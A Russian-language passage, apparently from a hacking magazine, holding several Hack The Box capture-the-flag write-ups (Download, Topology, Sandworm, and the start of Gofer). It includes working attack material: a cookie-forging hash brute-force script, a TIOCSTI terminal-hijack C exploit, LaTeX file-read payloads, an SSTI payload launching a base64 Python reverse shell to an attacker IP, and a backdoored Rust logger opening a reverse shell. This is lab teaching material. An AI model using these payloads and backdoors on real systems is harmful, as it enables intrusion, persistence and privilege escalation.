верим, что изменилось.

Главная страница авторизованного пользователя

Запрос в Burp History

У нас появился параметр user, содержащий имя пользователя и его иден-


тификатор. Также для проверки я загрузил файл и увидел, что сообщение
о выполнении действия попадает в параметр success.

Результат загрузки файла

Запрос в Burp History

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ПЕРЕХВАТЫВАЕМ ТЕРМИНАЛ
СУПЕРПОЛЬЗОВАТЕЛЯ ПРИ АТАКЕ
НА ХОСТ

ÒÎ×ÊÀ ÎÏÎÐÛ

Path traversal
Страница /files/download/ отдает нам файл при скачивании. Стоит про-
верить, нет ли здесь уязвимости обхода каталога. Сделать это можно, зап-
росив файл package.json, характерный для программ на Node.js. Я исполь-
зую Burp Intruder и словарь с разными вариантами указания пути к файлу.

Результат перебора

В итоге получаем содержимое package.json, откуда узнаем, что основной


файл называется app.js, а также имя пользователя — wesley. Теперь тем же
способом запросим файл app.js.

Содержимое файла app.js

Получаем ключ для подписи куки (строка 39), а еще видим использование
SQL-запросов (строка 59).

Cookie
Имея ключ, мы можем манипулировать значениями куки, создавая и под-
писывая их для любого пользователя. В этом нам поможет утилита cookie-
monster. Установим ее.

npm install --global yarn


git clone https://github.com/DigitalInterruption/cookie-monster
cd cookie-monster
yarn install
yarn link

Сохраним значение куки в файл и поменяем имя пользователя на wesley.


Затем сгенерируем нужные нам значения.

./cookie-monster.js -e -f cookie.txt -k
8929874489719802418902487651347865819634518936754 -n download_session

Создание cookie для пользователя wesley

Подставляем сгенерированные значения в запрос и получаем страницу


нового пользователя.

Страница в Burp Repeater

В окружении пользователя на сайте ничего не находим, поэтому продолжим


просматривать исходные коды. В уже известном нам файле app.js отмечаем
подключаемые модули.

Содержимое файла app.js

Первым делом я просмотрел содержимое файла routers/auth.js. Наибо-


лее интересен в нем блок кода для получения пользователя с помощью фун-
кции findFirst (строки 41–44).

Содержимое файла routers/auth.js

Кроме параметра имени пользователя, есть еще и параметр password. Учи-


тывая, что для выборки из базы используется findFirst, можно протес-
тировать инъекцию, основанную на использовании в передаваемых парамет-
рах других операторов: contains, startWith и прочих возвращающих булевы
значения. К примеру, следующее значение cookie отобразило файлы поль-
зователя!

{
"flashes":{
"info":[],
"error":[],
"success":[""]
},
"user":{
"username":{
"contains": "WESLEY"
},
"password":{
"startsWith":""
}
}
}

Запрос в Burp Repeater

В самих файлах ничего интересного нет, зато мы можем попытаться подоб-


рать хеш пароля пользователя.

Àâòîìàòèçàöèÿ
Смысл в том, чтобы поочередно перебирать символы хеша пароля. Как толь-
ко реальный хеш будет начинаться с указанной последовательности, мы
получим отличный от остальных случаев ответ и начнем перебирать сле-
дующий символ хеша.

import subprocess
import json
import requests

passwd = ""
chars = "0123456789abcdef"
tmp_pass = ""

def getCookie(password):
data = {"flashes":{"info":[],"error":[],"success":[""]},"user":{
"username":{"contains": "WESLEY"},"password":{"startsWith":password}}
}
with open("cookie.txt","w") as f:
f.write(json.dumps(data))
out = subprocess.check_output(["./cookie-monster/bin/
cookie-monster.js", "-e", "-f", "cookie.txt", "-k",
"8929874489719802418902487651347865819634518936754", "-n",
"download_session"]).decode()
index1 = out.index("download_session=") + len("download_session=")
out = out[index1:]
sess = out[:out.index("\x1b")]
index2 = out.index("download_session.sig=") + len(
"download_session.sig=")
out = out[index2:]
sig = out[:out.index("\x1b")]
return sess, sig

for i in range(32):
for c in chars:
tmp_pass = passwd + c
print("Hash: " + tmp_pass, end='\r')

sess, sig = getCookie(tmp_pass)


cookie = {"download_session": sess, "download_session.sig":
sig}
r = requests.get('http://download.htb/home/', cookies=cookie)

if( len(r.text) != 2174 ):


passwd = tmp_pass
break

print("Hash: " + passwd)

Результат работы скрипта

Спустя несколько минут получаем хеш MD5 и расшифровываем пароль


при помощи сервиса hashes.com.

Результат взлома хеша

С полученными учетными данными авторизуемся по SSH и забираем флаг


пользователя.

Флаг пользователя

ÏÐÎÄÂÈÆÅÍÈÅ

Теперь нам необходимо собрать информацию. Я буду использовать для это-


го скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. В выводе будет много информации, нам нужно отобрать толь-
ко значимую.
В списке процессов отмечаем работающий PostgreSQL, об этом говорит
и прослушиваемый порт 5432. Также у пользователя, от имени которого
работает СУБД, есть своя консоль.

Список процессов

Прослушиваемые порты

Пользователи с консолью

Еще полезно просматривать запускаемые процессы с помощью pspy64.


Именно это и помогло мне обнаружить, что в системе работает поль-
зовательская служба download-site, а также отметить, что в систему залоги-
нен пользователь postgres.

Логи pspy64

Просматриваем файл службы /etc/systemd/system/download-site.


service. В переменной окружения для запуска процесса находим перемен-
ную DATABASE_URL, а в URL — учетные данные для подключения к базе дан-
ных.

Содержимое файла download-site.service

Подключаемся к базе и получаем информацию о пользователях.

psql -h localhost -p 5432 -U download

\du

Информация о пользователях СУБД

Наш пользователь — член группы pg_write_server_files, а значит, имеет


право на запись в файлы. Для персистентности следующими командами наз-
начим файлу командной оболочки S-бит:

cp /bin/bash /tmp/psql_bash
chmod 4777 /tmp/psql_bash

В качестве метода персистентности запишем данные команды в файлы /var/


lib/postgresql/.bash_profile и /var/lib/postgresql/.bashrc. Так
как выполняется вход от имени пользователя, будут выполнены команды
из этих файлов.

COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ;


chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.
bash_profile';
COPY (SELECT CAST ('/bin/bash -c "cp /bin/bash /tmp/psql_bash ;
chmod 4777 /tmp/psql_bash"' AS text)) TO '/var/lib/postgresql/.
bashrc';

Спустя некоторое время проверяем, не появился ли файл /bin/bash


в каталоге /tmp.

Содержимое каталога /tmp

У файла выставлен S-бит, а значит, мы можем получить сессию от имени


пользователя postgres.

Сессия пользователя postgres

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

TTY hijacking
Увы, этому пользователю ничего интересного не доступно. Тогда вернемся
к способу входа через su -l. Здесь можно попробовать попасть в сессию
пользователя, от имени которого выполняется команда su. Эта техника
называется TTY hijacking. Хотя sudo и su в данном случае меняют UID
исполняемого процесса на UID пользователя без полномочий, терминал
по-прежнему остается терминалом пользователя root и, как оказалось, дос-
тупен непривилегированному пользователю.
Текущий терминал программы всегда доступен через файл /dev/tty. Мы
можем его открыть от имени пользователя без полномочий, а затем исполь-
зовать сискол ioctl для подделки пользовательского ввода. Это позволит
нам вводить команды в чужой терминал. Для эксплуатации этой техники мож-
но использовать следующий эксплоит:

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>

int main() {
int fd = open("/dev/tty", O_RDWR);
if (fd < 0) {
perror("open");
return -1;
}
char *x = "exit\n/bin/bash -c 'cp /bin/bash /tmp/root_bash; chmod
4777 /tmp/root_bash'\n";
while (*x != 0) {
int ret = ioctl(fd, TIOCSTI, x);
if (ret == -1) {
perror("ioctl()");
}
x++;
}
return 0;
}

Здесь сначала завершается работа текущей командной оболочки поль-


зователя (exit\n), а затем записывается уже знакомая полезная нагрузка.
После завершения работы командной оболочки пользователя postgres шелл
пользователя root считывает поддельный пользовательский ввод и выпол-
няет его.
Компилируем эксплоит и даем права на выполнение для всех.

gcc exploit.c -static -o lpe.bin


chmod 777 /tmp/lpe.bin

Теперь повторим технику выполнения файла через bash_profile и bashrc,


после чего проверим, появился ли файл командной оболочки, но уже соз-
данный рутом.

COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/


var/lib/postgresql/.bash_profile';
COPY (SELECT CAST ('/bin/bash -c /dev/shm/lpe.bin' AS text)) TO '/
var/lib/postgresql/.bashrc';

Содержимое каталога /tmp

Атака прошла успешно, теперь мы можем перейти к сессии root и забрать


второй флаг.

Флаг рута

Машина захвачена!
ВЗЛОМ

В этом райтапе я покажу, как использовать


инъекцию команд в LaTeX, чтобы прочитать
файлы на сервере и получить критически
важные данные. Затем повысим привиле-
гии через gnuplot. RalfHacker
hackerralf8@gmail.com

Проходить будем тренировочную машину Topology с площадки Hack The Box.


Уровень ее — легкий.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.217 topology.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Скрипт нашел всего два открытых порта:


• 22 — служба OpenSSH 8.2p1;
• 80 — веб-сервер Apache 2.4.41.

Брутить SSH смысла нет, поэтому сразу переходим к сайту.

Главная страница сайта

ÒÎ×ÊÀ ÂÕÎÄÀ

На главной странице есть ссылка, которая переносит нас на новый домен


latex.topology.htb.

Ошибка при переходе на latex.topology.htb

Заносим и этот домен в /etc/hosts и обновляем страницу.

10.10.11.217 topology.htb latex.topology.htb

Главная страница latex.topology.htb

На странице видим поле ввода, которое принимает от пользователя формулу


на языке LaTeX. Но к этому вернемся позже, а сначала просканируем другие
поддомены при помощи ffuf.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -H — заголовок HTTP.

Место перебора помечается словом FUZZ.

Задаем все параметры и получаем вот такую команду:

ffuf -u http://topology.htb/ -w subdomains-dnsscan-10000.txt -t 256


-H 'Host: FUZZ.topology.htb'

Результат сканирования поддоменов с помощью ffuf

Но в вывод попадают абсолютно все варианты из списка, а значит, нужно


использовать фильтры, к примеру по размеру страницы. Для этого добавим
параметр -fs, который отсеет все страницы заданного размера.

ffuf -u http://topology.htb/ -w subdomains-dnsscan-10000.txt -t 256


-H 'Host: FUZZ.topology.htb' -fs 6767

Результат сканирования поддоменов с помощью ffuf

Находим еще два поддомена: dev и stats. Поэтому обновляем запись в фай-
ле /etc/hosts и просматриваем новые сайты.

10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.


topology.htb

На первом нас встречает HTTP-аутентификация, а на втором просто отоб-


ражается картинка.

Главная страница сайта dev.topology.htb

Главная страница сайта stats.topology.htb

Больше ничего не получив, возвращаемся к форме LaTeX.

ÒÎ×ÊÀ ÎÏÎÐÛ

LaTeX позволяет автоматизировать многие задачи при подготовке научных


публикаций и самых разных пособий. Он облегчает нумерацию разделов,
ввод формул, добавление перекрестных ссылок и многие другие вещи.
Готовя свой документ, автор указывает логическую структуру текста, а LaTeX
решает вопросы его отображения. То есть содержание отделено от офор-
мления.
Мы же можем использовать служебные конструкции LaTeX в наших целях,
а именно попробовать выполнить команды на удаленном хосте либо
попытаться прочитать локальные файлы в системе. Первым делом отправим
простейшую нагрузку для чтения файла /etc/passwd.

\input{/etc/passwd}

Ответ сервера

Как оказалось, не все нагрузки выполняются на сервере, и мы получаем


сообщение о том, что наша инъекция обнаружена. Добиться выполнения
команд не вышло, а вот найти нагрузку для чтения файлов мне удалось. Сле-
дующий код позволит прочитать первую строку из файла /etc/passwd.

\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file

Строка из файла /etc/passwd

Итак, мы узнали, что на сервере есть фильтр, а у нас есть возможность его
обходить. Идем дальше и используем другую нагрузку для чтения всего фай-
ла.

$\lstinputlisting{/etc/passwd}$

Содержимое файла /etc/passwd

Таким образом мы получаем возможность читать локальные файлы на сер-


вере.

×òåíèå ïðîèçâîëüíîãî ôàéëà


Что первым делом смотреть на сервере? Нас в первую очередь интересуют
файлы, содержимое которых может раскрыть нам важную информацию
для продвижения. Это могут быть какие-то учетные данные, настройки и даже
исходники сайтов.
Помнишь сайт dev, закрытый HTTP-аутентификацией? В его каталоге
на сервере наверняка найдется файл .htpasswd, содержащий имя поль-
зователя и хеш его пароля в формате Apache MD5. Ведь именно их зап-
рашивает сервер, отображая окошко HTTP-аутентификации. Давай получим
эти учетные данные:

$\lstinputlisting{/var/www/dev/.htpasswd}$

Содержимое файла .htpasswd

Используем справку hashcat, чтобы узнать режим перебора хеша.

hashcat --example | grep -A5 -B5 '$apr1'

Справка hashcat

Получаем режим 1600, который и указываем при переборе в параметре -m.

hashcat -m 1600 -a 0 hash.txt rockyou.txt

Результат перебора хеша

С полученными учетными данными мы можем посмотреть сайт.

Главная страница сайта dev.topology.htb

На сайте ничего не находим и пробуем с теми же учетными данными авто-


ризоваться по SSH. Получилось! Забираем первый флаг.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Теперь нам необходимо собрать информацию. Я буду использовать для это-


го скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загружаем на хост скрипт для Linux, даем право на выполнение и запускаем


сканирование. В выводе будет много информации, давай посмотрим, что
именно может помочь нам повысить привилегии.
Среди файлов, доступных для записи, есть каталог /opt/gnuplot.
Это единственный проект в каталоге /opt.

Файлы, доступные для записи

Пробуем прочитать содержимое этого каталога и получаем сообщение


об ошибке. Оказывается, каталог /opt/gnuplot доступен для записи
и исполнения, но недоступен для чтения.

Вывод содержимого каталога /opt/gnuplot

Разрешения каталога gnuplot

Тогда попробуем отследить запускаемые процессы, так как аргументы одно-


го из них могут раскрыть содержимое засекреченного каталога. Для этого
используем утилиту pspy64.

Логи pspy64

Видим, что происходит поиск файлов с расширением .plt в каталоге /opt/


gnuplot. Найденные файлы выполняются с помощью gnuplot, причем
от имени пользователя root. Так мы можем создать файл privesc.plt
и записать в него функцию system. Она выполнит команду chmod, чтобы наз-
начить S-бит командной оболочке /bin/bash.

echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/privesc.plt

Спустя время проверим разрешения на файл /bin/bash.

Разрешения файла /bin/bash

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,


запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Заходим как суперпользователь и забираем флаг.

/bin/bash -p

Флаг рута

Машина захвачена!
ВЗЛОМ

В этом райтапе я покажу, как совершать


побег из сендбокса Firejail, чтобы повысить
привилегии в Linux. Еще мы найдем и про-
эксплуатируем уязвимость SSTI в сервисе
проверки подписи PGP, а также заложим RalfHacker
hackerralf8@gmail.com
бэкдор в проект, написанный на Rust.

А поможет нам в этом тренировочная машина Sandworm с площадки Hack


The Box. Уровень ее сложности — средний.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.218 sandworm.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел три открытых порта:


• 22 — служба OpenSSH 8.9p1;
• 80 и 443 — веб-сервер Nginx 1.18.0.

В заголовке http-title присутствует редирект на адрес https://ssa.htb.


Добавляем и этот домен в файл /etc/hosts.

10.10.11.218 sandworm.htb ssa.htb

Главная страница сайта https://ssa.htb/

На сайте находим формы для шифрования текста и проверки подписи.

Страница шифрования

Страница проверки подписи

По ссылке на странице получаем ключ PGP.

Ключ PGP

Больше ничего интересного не находим, а так как мы уже увидели много


интересных страниц, попробуем поискать другие.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю
feroxbuster.
При запуске указываем следующие параметры:
• -u — URL;
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -d — глубина сканирования.

Задаем нужные параметры и запускаем сканирование:

feroxbuster -k -u https://ssa.htb -t 256 -d 1 -w directory_2.3_


medium_lowercase.txt

Результат сканирования каталогов с помощью feroxbuster

Находим на сайте как админку, так и страницу авторизации.

ÒÎ×ÊÀ ÂÕÎÄÀ

Гадать, какая используется технология, не пришлось, так как баннер Powered


by Flask расположен на главной странице.

Баннер Powered by

Протестируем сервис проверки подписи. Для этого сначала сгенерируем


PGP-ключ, подпишем сообщение, после чего обе записи отправим на сайт.
При создании ключа PGP нужно указать имя и адрес электронной почты.

pgp --gen-key

name1
<email@mail.comp>

Генерирование PGP-ключа

Затем экспортируем созданный ключ. Его идентификатор — это строка вида


"имя" "адрес электронной почты". После чего подпишем сообщение
message.

gpg -a -o pub.key --export 'name1 <email@mail.comp>'


echo 'message' | gpg --clear-sign

Подпись сообщения

Переходим к сервису и передаем экспортированный ключ и подписанное


сообщение, после чего проверяем подпись.

Проверка подписи

Результат проверки подписи

В ответе выводится имя, использованное при создании ключа PGP. Так


как задействован фреймворк Flask и сервер получает, обрабатывает
и выводит контролируемые пользователем данные, с большой вероятностью
применяются шаблоны. В этом случае стоит проверить наличие уязвимости
SSTI.

ÒÎ×ÊÀ ÎÏÎÐÛ

SSTI
Сгенерируем новый ключ и вместо имени введем шаблон {{7*7}}.

Создание ключа PGP

Если уязвимость есть, то на месте имени мы увидим результат выполнения


выражения — 49. Снова экспортируем ключ, подписываем сообщение
и отправляем их на сервер.

gpg -a -o pub.key --export '{{7*7}} <q@q.comp>'


echo 'message' | gpg --clear-sign

Результат проверки подписи

И получаем вместо имени результат выполнения выражения в шаблоне. Так


мы узнали, что сервис уязвим.

Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сер-


вера, — это механизм атаки, при котором злоумышленник внедряет в шаблон
вредоносный код. Шаблоны нужны веб-разработчикам, чтобы можно было
настраивать внешний вид сайта только в одном месте и затем не копировать
вручную. По сути, шаблон — это документ HTML, где в нужных местах отме-
чены переменные и команды, которые при генерации итоговой страницы
будут заменены данными. В том числе это могут быть и данные, полученные
от посетителя сайта.
Атака затрагивает момент, когда присланная информация объединяется
с шаблоном. Злоумышленник формирует строку таким образом, чтобы она
не просто подставилась в шаблон, но была интерпретирована как код. Если
это возможно, то он добавит свои директивы, с помощью которых выполнит
эксфильтрацию данных или даже захватит веб-сервер.

Попробуем выполнить реверс-шелл на Python. Для этого сначала сгенери-


руем его при помощи сервиса Online Reverse Shell Generator. На сайте ука-
зываем адрес и порт локального хоста и задаем автоматическое кодиро-
вание нагрузки в Base64.

Online Reverse Shell Generator

Выполнять закодированный реверс-шелл будем при помощи вот такой конс-


трукции:

bash -c "echo <BASE64-REVERSE-SHELL> |base64 -d | bash"

Для выполнения команды через командную оболочку используем следующую


нагрузку SSTI:

{{self.__init__.__globals__.__builtins__.__import__('os').popen(
'COMMAND').read()}}

Сгенерируем ключ с нагрузкой вместо имени.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen(
'bash -c "echo
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY
2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIj
EwLjEwLjE0LjM3Iiw0MzIxKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHM
uZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5z
cGF3bigic2giKSc=
| base64 -d | bash" ').read() }}

Создание ключа

Теперь привычным образом экспортируем ключ и подписываем сообщение.


Но перед отправкой на проверку запускаем листенер (rlwrap nc -nlpv
4321). Сразу же после отправки получаем сессию пользователя atlas.

Сессия пользователя atlas

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ВЫХОДИМ ИЗ ПЕСОЧНИЦЫ
FIREJAIL И ПОВЫШАЕМ
ПРИВИЛЕГИИ В LINUX

ÏÐÎÄÂÈÆÅÍÈÅ

Sandbox Escape
Мы получили какой-то шелл, вероятно урезанный, потому что не выполняют-
ся, например, команды curl, wget, rm и cp. Возможно, мы попали в песоч-
ницу, что подтверждаем, просмотрев каталог ~/.config. Там мы находим
другой каталог — firejail.

Содержимое каталога ~/.cong

Firejail — это простая в использовании система изолированного выполнения


графических, консольных и серверных приложений, которая ограничивает
рабочую среду потенциально уязвимых программ и тем самым повышает
безопасность систем. Для этого используются пространства имен, фильтра-
ция системных вызовов и возможностей AppArmor.
Также видим каталог httpie. HTTPie — это консольный HTTP-клиент,
который предназначен для тестирования, отладки и общего взаимодействия
с HTTP-серверами. Получим полный листинг со всеми подкаталогами.

Все содержимое каталога ~/.cong

В каталоге httpie/sessions/localhost_5000 видим доступный для чтения


файл admin.json. В самом файле есть учетные данные пользователя
silentobserver.

Содержимое файла admin.json

С найденными учетными данными подключаемся по SSH и забираем первый


флаг.

Флаг пользователя

Ïîëüçîâàòåëü atlas
Теперь у нас есть полноценная оболочка и нам нужно собрать информацию.
Я, как обычно, использую для этого скрипты PEASS.

Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате и выдают подробный отчет о потенциально интересных
файлах, процессах и настройках.

Загружаем на хост скрипт для Linux, даем право на выполнение и приступаем


к сканированию.
Обнаруживаем, что для приложения firejail установлен бит SUID,
но оно доступно только группе пользователя jailer.

Приложения с SUID-битом

В каталоге /opt находим два проекта, которые относятся к группе поль-


зователя atlas.

Содержимое каталога opt

Файлы одного из этих проектов мы можем модифицировать.

Файлы, доступные для записи

В дереве процессов видим запущенную через cron от имени пользователя


atlas команду cargo run --offline.

Дерево процессов

Так как cron запускает какие-то приложения, посмотрим, что запущено прямо
сейчас, при помощи утилиты pspy64. В ее выводе находим запуск найденной
команды.

Вывод утилиты pspy64

Так как запускается файл из проекта tipnet, просмотрим исходный код при-
ложения /opt/tipnet/src/main.rs.

Содержимое файла main.rs

Это программа на Rust, которая взаимодействует с базой данных MySQL. Код


позволяет выполнять запросы и манипулировать данными в базе данных.
Кроме того, программа может искать записи в базе данных по ключевым сло-
вам и регистрировать действия в журнале. Но самой первой строкой подклю-
чается модуль logger. А его мы можем найти в проекте, где у нас есть право
на запись.

Содержимое каталога /opt/crates/logger/src

Содержимое файла lib.rs

Давай запишем в код бэкдор, чтобы при каждом вызове функции log мы
получали реверс-шелл на порт 4321. Код реверс-шелла на Rust доступен
на GitHub.

extern crate chrono;

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;

pub fn log(user: &str, query: &str, justification: &str) {


let sock = TcpStream::connect("10.10.14.37:6543").unwrap();

let fd = sock.as_raw_fd();

Command::new("/bin/bash")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();

let now = Local::now();


let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {},
Justification: {}\n", timestamp, user, query, justification);

let mut file = match OpenOptions::new().append(true).create(true).


open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};

if let Err(e) = file.write_all(log_message.as_bytes()) {


println!("Error writing to log file: {}", e);
}
}

Затем собираем модуль и ждем, когда прилетит бэкконнект.

cargo build

Сборка проекта

Сессия пользователя atlas

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

При разведке мы также определили, что у исполняемого файла firejail


выставлен S-бит. Теперь мы можем этим воспользоваться. При помощи экс-
плоита для выхода из песочницы мы получим сессию с теми же привиле-
гиями, с которыми был запущен firejail. А так как мы можем запускать его
от имени root, то это явный путь к повышению привилегий. Только одной сес-
сии будет мало, поэтому вернемся к предыдущему шагу и сделаем себе
еще одну сессию на порте 6543. Затем загружаем эксплоит на хост и запус-
каем в первой сессии.

Запуск эксплоита

Он покажет нам следующую команду, которую мы запускаем во второй сес-


сии.

Получение привилегированного шелла

Как можно видеть, во второй сессии мы сразу получаем новый шелл.


И теперь мы можем изменить пользователя на root без ввода всяких паролей.

Флаг рута

Машина захвачена!
ВЗЛОМ

В этом райтапе я покажу, как искать и экс-


плуатировать уязвимости use after free
и path hijacking для повышения прав в сис-
теме. А для начала заюзаем SSRF
для отправки фишинговой ссылки с вре- RalfHacker
hackerralf8@gmail.com
доносным макросом, чтобы проникнуть
на хост.

А поможет нам в этом тренировочная машина Gofer с площадки Hack The Box.
Уровень ее — сложный.

Подключаться к машинам с HTB рекомендуется


только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.225 gofer.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он поз-


воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел несколько открытых портов:


• 22 — служба OpenSSH 8.4p1;
• 80 — веб-сервер Apache 2.4.56;
• 139 и 445 — служба Samba 4.6.2.

Также мы узнаём, что фильтруется подключение к порту 25, по которому


работает служба SMTP.
Первым делом проверим SMB, в отличие от веба этот протокол не пот-
ребует много времени для анализа.

enum4linux -a gofer.htb

Результат сканирования службы Samba

В выводе больше всего интересен список общих ресурсов SMB. К некоторым


каталогам мы можем получить доступ без использования учетных данных.

ÒÎ×ÊÀ ÂÕÎÄÀ

Подключаемся к SMB-ресурсу, где мы находим каталог backup, а в нем сох-


раненное сообщение.

smbclient //gofer.htb/shares

Содержимое общего ресурса

Скачиваем сообщение и читаем. Там говорится о пользователе, который


переходит по всем фишинговым ссылкам, поэтому почта теперь работает
только для внутренних пользователей. При этом теперь будут открываться
только документы ODT.

Содержимое файла mail

Учтем это на будущее и перейдем к сайту.

Главная страница сайта

На самом сайте ничего интересного, кроме списка сотрудников. Поэтому


приступаем к сканированию.

Одно из первых действий при тестировании безопасности веб-приложе-


ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю
feroxbuster.
При запуске указываем следующие параметры:
• -u — URL;
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -d — глубина сканирования.

Задаем нужные параметры и запускаем сканер:

feroxbuster -u http://gofer.htb/ -t 256 -d 1 -w directory_2.3_medium_


lowercase.txt

Результат сканирования каталогов с помощью feroxbuster

Новых файлов и каталогов не обнаружили, поэтому переходим к следующему


шагу — сканированию поддоменов. Делать это будем с помощью ffuf.
Параметры те же, что у feroxbuster, но добавятся еще два:
• -H — HTTP-заголовок;
• -fc — фильтр по коду ответа.

ffuf -u http://gofer.htb -H 'Host:FUZZ.gofer.htb' -w subdomains-


bitquark-top100000.txt -fc 400,301

Результат сканирования поддоменов

Добавляем найденный поддомен в файл /etc/hosts и проверяем новый


